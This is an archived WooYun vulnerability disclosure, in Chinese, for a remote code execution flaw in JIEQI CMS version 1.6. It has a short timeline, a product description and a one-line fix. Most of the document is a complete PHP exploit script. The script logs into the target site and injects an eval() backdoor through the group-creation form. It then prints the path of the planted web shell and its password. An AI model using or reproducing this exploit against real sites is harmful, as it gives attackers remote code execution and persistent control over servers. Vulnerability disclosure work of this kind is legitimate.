乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2013-01-06: 积极联系厂商并且等待厂商认领中,细节不对外公开 2013-02-20: 厂商已经主动忽略漏洞,细节向公众公开
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。
详细信息见漏洞证明,需要有一个能创建圈子的用户。
<?phpprint_r('+---------------------------------------------------------------------------+Jieqi CMS V1.6 PHP Code Injection Exploitby flyh4tmail: phpsec at hotmail dot comteam: http://www.wolvez.org+---------------------------------------------------------------------------+');/** * works regardless of php.ini settings*/if ($argc < 5) { print_r('+---------------------------------------------------------------------------+Usage: php '.$argv[0].' host path usernamehost: target server (ip/hostname)path: path to jieqicms uasename: a username who can create groupExample:php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password+---------------------------------------------------------------------------+'); exit;}error_reporting(7);ini_set('max_execution_time', 0);$host = $argv[1];$path = $argv[2];$username = $argv[3];$password = $argv[4];/*get cookie*/$cookie_jar_index = 'cookie.txt';$url1 = "http://$host/$path/login.php";$params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1";$curl1 = curl_init();curl_setopt($curl1, CURLOPT_URL, $url1);curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index);curl_setopt($curl1, CURLOPT_POST, 1);curl_setopt($curl1, CURLOPT_POSTFIELDS, $params);ob_start();$data1 = curl_exec($curl1);if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed');}curl_close($curl1);ob_clean();/*get shell*/$params ='-----------------------------23281168279961Content-Disposition: form-data; name="gname"';$params .="';";$params .='eval($_POST[p]);//flyh4t-----------------------------23281168279961Content-Disposition: form-data; name="gcatid"1-----------------------------23281168279961Content-Disposition: form-data; name="gaudit"1-----------------------------23281168279961Content-Disposition: form-data; name="gbrief"1-----------------------------23281168279961--';$url2 = "http://$host/$path/modules/group/create.php";$curl2 = curl_init();$header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' );curl_setopt($curl2, CURLOPT_URL, $url2);curl_setopt($curl2, CURLOPT_HTTPHEADER, $header);curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index);curl_setopt($curl2, CURLOPT_POST, 1);curl_setopt($curl2, CURLOPT_POSTFIELDS, $params);ob_start();curl_exec($curl2);curl_close($curl2);$resp = ob_get_contents(); //$rs就是返回的内容ob_clean();preg_match('/g=([0-9]{1,4})/', $resp, $shell);//print_r($shell);//print_r($resp);$url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php";echo "view you shell here(password:p)\r\n" ;echo $url;
转意特殊字符
未能联系到厂商或者厂商积极拒绝